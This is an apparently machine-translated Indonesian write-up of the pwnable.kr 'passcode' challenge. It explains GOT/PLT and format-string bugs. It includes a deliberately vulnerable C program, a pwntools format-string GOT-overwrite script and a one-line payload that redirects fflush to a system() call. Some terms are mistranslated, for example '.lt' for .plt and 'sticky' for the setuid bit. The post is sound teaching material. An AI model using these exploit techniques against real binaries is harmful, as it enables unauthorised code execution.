Memecahkan pekerjaan dengan pwnable.kr 05 - passcode. Tabel tautan prosedur penulisan ulang melalui kerentanan format string

gambar

Dalam artikel ini kita akan menganalisis: apa itu tabel global offset, tabel hubungan prosedur dan penulisan ulang melalui kerentanan string format. Kami juga akan menyelesaikan tugas ke-5 dari situs pwnable.kr .

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Tabel Hubungan Global dan Tabel Hubungan Prosedur


Pustaka yang terhubung secara dinamis dimuat dari file terpisah ke dalam memori saat boot atau pada saat runtime. Dan, oleh karena itu, alamat mereka di memori tidak diperbaiki untuk menghindari konflik memori dengan perpustakaan lain. Selain itu, mekanisme keamanan ASLR akan mengacak alamat setiap modul pada saat boot.

Global Offset Table (GOT) - Tabel alamat yang disimpan di bagian data. Ini digunakan saat run time untuk mencari alamat variabel global yang tidak dikenal pada waktu kompilasi. Tabel ini di bagian data dan tidak digunakan oleh semua proses. Semua alamat absolut yang dirujuk oleh bagian kode disimpan dalam tabel GOT ini. Bagian kode menggunakan offset relatif untuk mengakses alamat absolut ini. Dan dengan demikian, kode perpustakaan dapat dibagi oleh proses, bahkan jika mereka dimuat ke ruang alamat memori yang berbeda.

Tabel Tautan Prosedur (PLT) berisi kode lompatan untuk memanggil fungsi-fungsi umum yang alamatnya disimpan dalam GOT, yaitu PLT berisi alamat yang digunakan untuk menyimpan data alamat (alamat) dari GOT.

Pertimbangkan mekanisme menggunakan contoh:

  1. Dalam kode program, fungsi cetak eksternal disebut.
  2. Aliran kontrol masuk ke catatan n di PLT, dan transisi terjadi pada offset relatif, bukan alamat absolut.
  3. Pergi ke alamat yang tersimpan di GOT. Pointer fungsi yang disimpan dalam tabel GOT menunjuk kembali ke potongan kode PLT.
  4. Jadi, jika printf dipanggil untuk pertama kalinya, konverter penghubung dinamis dipanggil untuk mendapatkan alamat aktual dari fungsi target.
  5. Alamat printf ditulis ke tabel GOT, dan kemudian printf dipanggil.
  6. Jika printf dipanggil lagi dalam kode, resolver tidak akan lagi dipanggil karena alamat printf sudah disimpan dalam GOT.

gambar

Saat menggunakan pengikatan tertunda ini, pointer ke fungsi yang tidak digunakan pada saat run tidak diperbolehkan. Dengan demikian, ini menghemat banyak waktu.

Agar mekanisme ini berfungsi, bagian-bagian berikut ada dalam file:

  • .got - berisi entri untuk GOT;
  • .lt - berisi entri untuk PLT;
  • .got.plt - berisi hubungan alamat GOT - PLT;
  • .plt.got - berisi hubungan alamat PLT - GOT.

Karena bagian .got.plt adalah array dari pointer dan diisi selama eksekusi program (mis., Penulisan diperbolehkan di dalamnya), kita dapat menimpa salah satunya dan mengontrol aliran eksekusi program.

Memformat string


String format adalah string yang menggunakan penentu format. Penentu format ditunjukkan oleh simbol "%" (untuk memasukkan tanda persen, gunakan urutan "%%").

pritntf(β€œoutput %s 123”, β€œstr”); output str 123 

Penentu format yang paling penting:

  • d - angka bertanda desimal, ukuran default, sizeof (int);
  • x dan X adalah angka heksadesimal yang tidak ditandatangani, x menggunakan huruf kecil (abcdef), huruf besar X (ABCDEF), ukuran standarnya adalah sizeof (int);
  • s - line output dengan nol terminating byte;
  • n adalah jumlah karakter yang ditulis pada saat urutan perintah yang mengandung n muncul.

Mengapa memformat kerentanan string dimungkinkan


Kerentanan ini terdiri dari penggunaan salah satu fungsi format output tanpa menentukan format (seperti dalam contoh berikut). Jadi, kita sendiri dapat menentukan format output, yang mengarah pada kemampuan untuk membaca nilai dari stack, dan ketika menentukan format khusus, untuk menulis ke memori.

Pertimbangkan kerentanan dalam contoh berikut:

 #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(){ char input[100]; printf("Start program!!!\n"); printf("Input: "); scanf("%s", &input); printf("\nYour input: "); printf(input); printf("\n"); exit(0); } 

Dengan demikian, baris berikutnya tidak menentukan format output.

 printf(input); 

Kompilasi program.

 gcc vuln1.c -o vuln -no-pie 

Mari kita lihat nilai pada stack dengan memasukkan baris yang berisi penentu format.

gambar

Dengan demikian, saat memanggil printf (input), panggilan berikut dipicu:

 printf(β€œ%p-%p-%p-%p-%pβ€œ); 

Masih memahami apa yang ditampilkan oleh program. Fungsi printf memiliki beberapa argumen, yang merupakan data untuk string format.

Pertimbangkan contoh panggilan fungsi dengan argumen berikut:

 printf(β€œNumber - %d, addres - %08x, string - %s”, a, &b, c); 

Ketika fungsi ini dipanggil, tumpukan akan terlihat sebagai berikut.

gambar

Jadi, ketika specifier format terdeteksi, fungsi mengambil nilai stack. Demikian pula, fungsi dari contoh kita akan mengambil 5 nilai dari tumpukan.

gambar

Untuk mengkonfirmasi di atas, kami menemukan string format kami di tumpukan.

gambar

Saat menerjemahkan nilai dari tampilan hex, kita mendapatkan string β€œ% -p% AAAAβ€œ. Artinya, kami bisa mendapatkan nilai dari tumpukan.

GOT menimpa


Mari kita periksa kemampuan untuk menulis ulang GOT melalui kerentanan string format. Untuk melakukan ini, mari kita loop program kami dengan menulis ulang alamat fungsi exit () ke alamat main. Kami akan menimpa menggunakan pwntools. Buat tata letak awal dan ulangi entri sebelumnya.

 from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive() 

gambar

Tetapi karena tergantung pada ukuran string yang dimasukkan, isi tumpukan akan berbeda, kami akan memastikan bahwa beban input selalu berisi jumlah karakter yang dimasukkan sama.

 payload = ("%p-%p-%p-%p"*5).ljust(64, ”*”) 

gambar

 payload = ("%p-%p-%p-%p").ljust(64, ”*”) 

gambar

Sekarang kita perlu mengetahui alamat GOT dari fungsi exit (), dan alamat fungsi utama. Alamat utama akan ditemukan menggunakan gdb.

gambar

Alamat GOT dari exit () dapat ditemukan menggunakan gdb dan objdump.

gambar

gambar

 objdump -R vuln 

gambar

Kami akan menulis alamat ini di program kami.

 main_addr = 0x401162 exit_addr = 0x404038 

Sekarang Anda perlu menulis ulang alamatnya. Untuk menambahkan ke stack, alamat fungsi exit () dan alamat setelahnya, mis. * (keluar ()) +1, dll. Anda dapat menambahkannya menggunakan memuat kami.

 payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) 

Jalankan dan tentukan akun mana yang menampilkan alamat.

gambar

Alamat-alamat ini ditampilkan pada posisi 14 dan 15. Anda dapat menampilkan nilai pada posisi tertentu sebagai berikut.

 payload = ("%14$p").ljust(64, "*") 

gambar

Kami akan menulis ulang alamat dalam dua blok. Untuk memulai, kami akan mencetak 4 nilai sehingga alamat kami ada di posisi 2 dan 4.

 payload = ("%p%14$p%p%15$p").ljust(64, "*") 

gambar

Sekarang kami memecah alamat main () menjadi dua blok:
0x401162

1) 0x62 = 98 (tulis pada 0x404038)
2) 0x4011 - 0x62 = 16303 (tulis ke alamat 0x404039)


Kami menulisnya sebagai berikut:

 payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') 

Kode lengkap:

 from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive() 

gambar

Dengan demikian, program ini di-restart bukannya diakhiri. Kami menulis ulang alamat keluar ().

Solusi pekerjaan kode sandi


Kami mengklik ikon pertama dengan tanda tangan kode sandi, dan kami diberitahu bahwa kami perlu terhubung melalui SSH dengan tamu kata sandi.

gambar

Saat terhubung, kami melihat spanduk yang sesuai.

gambar

Mari cari tahu file apa yang ada di server, serta hak apa yang kita miliki.

 ls -l 

gambar

Jadi, kita dapat membaca kode sumber program, karena ada hak untuk membaca untuk semua orang, dan menjalankan program kode sandi dengan hak-hak pemilik (bit sticky diatur). Mari kita lihat hasil kodenya.

gambar

Ada kesalahan dalam fungsi login (). Dalam scanf (), argumen kedua dilewatkan bukan alamat variabel & passcode1, tetapi variabel itu sendiri, dan tidak diinisialisasi. Karena variabel belum diinisialisasi, ini berisi "sampah" tidak tertulis yang tersisa setelah instruksi sebelumnya. Artinya, scanf () akan menulis nomor ke alamat, yang akan menjadi data residual.

gambar

Jadi, jika sebelum memanggil fungsi login, kita bisa mendapatkan kendali atas area memori ini, maka kita dapat menulis nomor apa saja ke alamat mana pun (sebenarnya mengubah logika program).

Karena fungsi login () dipanggil segera setelah fungsi welcome (), mereka memiliki alamat bingkai tumpukan yang sama.

gambar

Mari kita periksa apakah kita dapat menulis data ke lokasi passcode1 mendatang. Buka program di gdb dan bongkar fungsi login () dan selamat datang (). Karena scanf memiliki dua parameter dalam kedua kasus, alamat variabel akan diteruskan ke fungsi terlebih dahulu. Dengan demikian, alamat passcode1 adalah ebp-0x10, dan namanya adalah ebp-0x70.

gambar

gambar

Sekarang, mari kita hitung alamat passcode1 relatif terhadap nama, asalkan nilai ebpnya sama:
(& nama) - (& passcode1) = (ebp-0x70) - (ebp-0x10) = -96
& passcode1 == & name + 96
Artinya, 4 byte terakhir dari nama - ini adalah "sampah" yang akan bertindak sebagai alamat untuk menulis ke fungsi login.

Dalam artikel tersebut, kami melihat bagaimana Anda dapat mengubah logika aplikasi dengan menulis ulang alamat di GOT. Mari kita lakukan di sini juga. Karena scanf () diikuti oleh flush, maka pada alamat fungsi ini di GOT, kami menulis alamat instruksi untuk memanggil fungsi system () untuk membaca flag.

gambar

gambar

gambar

Artinya, di alamat 0x804a004 Anda perlu menulis 0x80485e3 dalam bentuk desimal.

 python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode 

gambar

Hasilnya, kami mendapat 10 poin, sejauh ini ini adalah tugas yang paling sulit.

gambar

File untuk artikel ini dilampirkan ke saluran Telegram . Sampai jumpa di artikel berikut!

Kami berada di saluran telegram: saluran di Telegram .

Source: https://habr.com/ru/post/id460647/


All Articles